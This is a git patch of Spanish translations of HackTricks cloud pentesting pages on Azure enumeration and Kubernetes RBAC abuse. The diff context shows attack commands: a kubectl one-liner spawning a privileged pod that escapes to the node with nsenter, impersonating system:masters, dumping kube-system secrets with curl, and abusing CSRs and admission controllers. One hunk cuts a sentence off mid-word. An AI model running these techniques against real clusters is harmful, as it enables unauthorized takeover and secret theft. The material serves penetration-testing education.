From 182c0cb68c248d40e177804c3d785434eb9c7c6b Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 22 Jan 2025 23:09:12 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-services/az-cosmosDB --- src/SUMMARY.md | 3 +- .../azure-security/az-services/az-cosmosDB.md | 2 + .../az-vms-unath.md | 37 ------------------- .../README.md | 33 ++++++++--------- .../kubernetes-enumeration.md | 18 ++++----- 5 files changed, 28 insertions(+), 65 deletions(-) delete mode 100644 src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 6172b28d3..d05776c71 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -398,7 +398,8 @@ - [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md) - [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md) - [Az - OAuth Apps Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md) - - [Az - VMs Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md) + - [Az - Storage Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md) + - [Az - VMs Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md) - [Az - Device Code Authentication Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Az - Password Spraying](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) - [Az - Services](pentesting-cloud/azure-security/az-services/README.md) diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index c4a966682..8b48d3275 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -352,6 +352,8 @@ print(f"Inserted document with ID: {result.inserted_id}") * Echar un vistazo a la post explotación "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" y definiciones de roles porque aquí podría haber una escalación de privilegios * Echar un vistazo a las restauraciones + + {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md deleted file mode 100644 index 203c16f69..000000000 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md +++ /dev/null @@ -1,37 +0,0 @@ -# Az - VMs Unath - -{{#include ../../../banners/hacktricks-training.md}} - -## Máquinas Virtuales - -Para más información sobre las Máquinas Virtuales de Azure, consulta: - -{{#ref}} -../az-services/vms/ -{{#endref}} - -### Servicio vulnerable expuesto - -Un servicio de red que es vulnerable a algún RCE. - -### Imágenes de Galería Pública - -Una imagen pública puede tener secretos dentro de ella: -```bash -# List all community galleries -az sig list-community --output table - -# Search by publisherUri -az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']" -``` -### Extensiones Públicas - -Esto sería más extraño pero no imposible. Una gran empresa podría poner una extensión con datos sensibles dentro de ella: -```bash -# It takes some mins to run -az vm extension image list --output table - -# Get extensions by publisher -az vm extension image list --publisher "Site24x7" --output table -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index e43cc17da..98c2d65c6 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -77,7 +77,7 @@ hostNetwork: true Lo siguiente indica todos los privilegios que un contenedor puede tener: - **Acceso privilegiado** (deshabilitando protecciones y configurando capacidades) -- **Deshabilitar los namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios +- **Deshabilitar namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios - **Deshabilitar el namespace hostNetwork**, dando acceso para robar privilegios de nube de nodos y mejor acceso a redes - **Montar hosts / dentro del contenedor** ```yaml:super_privs.yaml @@ -123,7 +123,7 @@ Una línea de [este tweet](https://twitter.com/mauilion/status/11294684854807511 ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -Ahora que puedes escapar al nodo, revisa las técnicas de post-explotación en: +Ahora que puedes escapar al nodo, consulta las técnicas de post-explotación en: #### Sigilo @@ -149,7 +149,7 @@ Para más información, consulta: pod-escape-privileges.md {{#endref}} -### **Crear/Patch Despliegue, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs** +### **Crear/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs** Es posible abusar de estos permisos para **crear un nuevo pod** y establecer privilegios como en el ejemplo anterior. @@ -235,7 +235,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// #### Eludir la protección de solo lectura -Si tienes la suerte de que la capacidad altamente privilegiada `CAP_SYS_ADMIN` esté disponible, puedes simplemente volver a montar la carpeta como rw: +Si tienes la suerte de que la capacidad altamente privilegiada `CAP_SYS_ADMIN` está disponible, puedes simplemente volver a montar la carpeta como rw: ```bash mount -o rw,remount /hostlogs/ ``` @@ -247,7 +247,7 @@ allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un hostPath mount, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura: +Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un montaje hostPath, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura: ```yaml apiVersion: v1 kind: PersistentVolume @@ -297,12 +297,12 @@ name: task-pv-storage-vol Con un privilegio de [**suplantación de usuario**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un atacante podría suplantar una cuenta privilegiada. -Simplemente use el parámetro `--as=` en el comando `kubectl` para suplantar a un usuario, o `--as-group=` para suplantar a un grupo: +Solo usa el parámetro `--as=` en el comando `kubectl` para suplantar a un usuario, o `--as-group=` para suplantar a un grupo: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters ``` -O use la API REST: +O utiliza la API REST: ```bash curl -k -v -XGET -H "Authorization: Bearer " \ -H "Impersonate-Group: system:masters"\ @@ -312,7 +312,7 @@ https://:/api/v1/namespaces/kube-system/secrets/ ``` ### Listando Secretos -El permiso para **listar secretos podría permitir a un atacante leer realmente los secretos** accediendo al punto final de la API REST: +El permiso para **listar secretos podría permitir a un atacante leer realmente los secretos** accediendo al endpoint de la API REST: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` @@ -389,7 +389,7 @@ El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjkl Si tiene los verbos **`create`** en el recurso `certificatesigningrequests` (o al menos en `certificatesigningrequests/nodeClient`). Puede **crear** un nuevo CeSR de un **nuevo nodo.** -De acuerdo con la [documentación, es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), por lo que en ese caso **no necesita permisos adicionales**. Si no, necesitaría poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `/` o `/*` +De acuerdo con la [documentación, es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), así que en ese caso **no necesita permisos adicionales**. Si no, necesitaría poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `/` o `/*` Un **ejemplo de un rol** con todos los permisos requeridos es: ```yaml @@ -424,10 +424,7 @@ verbs: ``` Entonces, con el nuevo CSR de nodo aprobado, puedes **abusar** de los permisos especiales de los nodos para **robar secretos** y **escalar privilegios**. -En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se abusa para generar credenciales de un nuevo nodo K8s y luego abusar de esas para escalar privilegios robando secretos.\ -Si **tienes los privilegios mencionados, podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo elude el error que impide que un nuevo nodo acceda a secretos dentro de contenedores porque un **nodo solo puede acceder a los secretos de los contenedores montados en él.** - -La forma de eludir esto es simplemente **crear credenciales de nodo para el nombre del nodo donde el contenedor con los secretos interesantes está montado** (pero solo verifica cómo hacerlo en la primera publicación): +En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` @@ -516,7 +513,7 @@ Entonces puede actualizar/crear nuevos roles, clusterroles con mejores permisos ### Proxy de nodos -Principales con acceso al subrecurso **`nodes/proxy`** pueden **ejecutar código en pods** a través de la API de Kubelet (según [**esto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Más información sobre la autenticación de Kubelet en esta página: +Principales con acceso al **`nodes/proxy`** subrecurso pueden **ejecutar código en pods** a través de la API de Kubelet (según [**esto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Más información sobre la autenticación de Kubelet en esta página: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -575,7 +572,7 @@ Crea tu .yaml ```bash kubectl run app --image=bash --command -oyaml --dry-run=client > -- sh -c 'ping google.com' ``` -Edita tu .yaml y añade las líneas sin comentar: +Edita tu .yaml y añade las líneas descomentadas: ```yaml #apiVersion: v1 #kind: Pod @@ -645,7 +642,7 @@ kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -Como se puede ver en la imagen anterior, intentamos ejecutar la imagen `nginx`, pero la imagen final ejecutada es `rewanthtammana/malicious-image`. ¿Qué acaba de pasar!? +Como puedes ver en la imagen anterior, intentamos ejecutar la imagen `nginx`, pero la imagen final ejecutada es `rewanthtammana/malicious-image`. ¿Qué acaba de pasar!? #### Technicalities @@ -667,9 +664,9 @@ El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con ## Mejores Prácticas -### **Deshabilitar la Automontura de Tokens de Cuentas de Servicio** +### **Deshabilitar el Automontaje de Tokens de Cuentas de Servicio** -- **Pods y Cuentas de Servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontura. +- **Pods y Cuentas de Servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontaje. - **Cómo Aplicar**: Establecer `automountServiceAccountToken: false` en la configuración de cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes. ### **Asignación Restrictiva de Usuarios en RoleBindings/ClusterRoleBindings** diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index d9fc5a933..326e1c5ff 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -8,7 +8,7 @@ Si has comprometido el acceso a una máquina, el usuario puede tener acceso a al En esta carpeta podrías encontrar archivos de configuración con **tokens y configuraciones para conectarse al servidor API**. En esta carpeta también puedes encontrar una carpeta de caché con información recuperada previamente. -Si has comprometido un pod dentro de un entorno de kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el entorno K8 actual: +Si has comprometido un pod dentro de un entorno de Kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el entorno K8 actual: ### Tokens de Cuenta de Servicio @@ -29,7 +29,7 @@ Generalmente **uno** de los directorios: contiene los archivos: -- **ca.crt**: Es el certificado ca para verificar las comunicaciones de kubernetes +- **ca.crt**: Es el certificado ca para verificar las comunicaciones de Kubernetes - **namespace**: Indica el espacio de nombres actual - **token**: Contiene el **token de servicio** del pod actual. @@ -55,7 +55,7 @@ Si no sabes qué es **RBAC**, **lee esta sección**. ## Aplicaciones GUI -- **k9s**: Una GUI que enumera un clúster de kubernetes desde la terminal. Consulta los comandos en [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escribe `:namespace` y selecciona todo para luego buscar recursos en todos los espacios de nombres. +- **k9s**: Una GUI que enumera un clúster de Kubernetes desde la terminal. Consulta los comandos en [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escribe `:namespace` y selecciona todo para luego buscar recursos en todos los espacios de nombres. - **k8slens**: Ofrece algunos días de prueba gratuita: [https://k8slens.dev/](https://k8slens.dev/) ## Hoja de Trucos de Enumeración @@ -66,17 +66,17 @@ Para enumerar un entorno K8s necesitas un par de cosas: - La **dirección (**_**https://host:port**_**) del API de Kubernetes**. Esto generalmente se puede encontrar en las variables de entorno y/o en el archivo de configuración kube. - **Opcional**: El **ca.crt para verificar el servidor API**. Esto se puede encontrar en los mismos lugares donde se puede encontrar el token. Esto es útil para verificar el certificado del servidor API, pero usando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` no necesitarás esto. -Con esos detalles puedes **enumerar kubernetes**. Si el **API** por alguna razón es **accesible** a través de **Internet**, puedes simplemente descargar esa información y enumerar la plataforma desde tu host. +Con esos detalles puedes **enumerar Kubernetes**. Si el **API** por alguna razón es **accesible** a través de **Internet**, puedes simplemente descargar esa información y enumerar la plataforma desde tu host. Sin embargo, generalmente el **servidor API está dentro de una red interna**, por lo tanto necesitarás **crear un túnel** a través de la máquina comprometida para acceder a él desde tu máquina, o puedes **subir el** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binario, o usar **`curl/wget/anything`** para realizar solicitudes HTTP en bruto al servidor API. ### Diferencias entre los verbos `list` y `get` -Con permisos de **`get`** puedes acceder a la información de activos específicos (_opción `describe` en `kubectl`_) API: +Con permisos de **`get`** puedes acceder a información de activos específicos (_opción `describe` en `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` -Si tienes el permiso **`list`**, se te permite ejecutar solicitudes API para listar un tipo de activo (_opción `get` en `kubectl`_): +Si tienes el permiso **`list`**, se te permite ejecutar solicitudes API para listar un tipo de activo (_`get` opción en `kubectl`_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments @@ -119,7 +119,7 @@ Por defecto, el APISERVER se comunica con el esquema `https://` ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` -> si no hay `https://` en la URL, puede que obtengas un error como Bad Request. +> si no hay `https://` en la URL, puede que obtenga un error como Bad Request. Puedes encontrar un [**cheatsheet oficial de kubectl aquí**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). El objetivo de las siguientes secciones es presentar de manera ordenada diferentes opciones para enumerar y entender el nuevo K8s al que has obtenido acceso. @@ -272,7 +272,7 @@ for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f ``` ### Obtener Cuentas de Servicio -Como se discutió al principio de esta página **cuando se ejecuta un pod, generalmente se le asigna una cuenta de servicio**. Por lo tanto, listar las cuentas de servicio, sus permisos y dónde se están ejecutando puede permitir a un usuario escalar privilegios. +Como se discutió al principio de esta página, **cuando se ejecuta un pod, generalmente se le asigna una cuenta de servicio**. Por lo tanto, listar las cuentas de servicio, sus permisos y dónde se están ejecutando puede permitir a un usuario escalar privilegios. {{#tabs }} {{#tab name="kubectl" }} @@ -347,7 +347,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/default/services/ ### Obtener nodos -Obtén todos los **nodos configurados dentro del clúster**. +Obtener todos los **nodos configurados dentro del clúster**. {{#tabs }} {{#tab name="kubectl" }}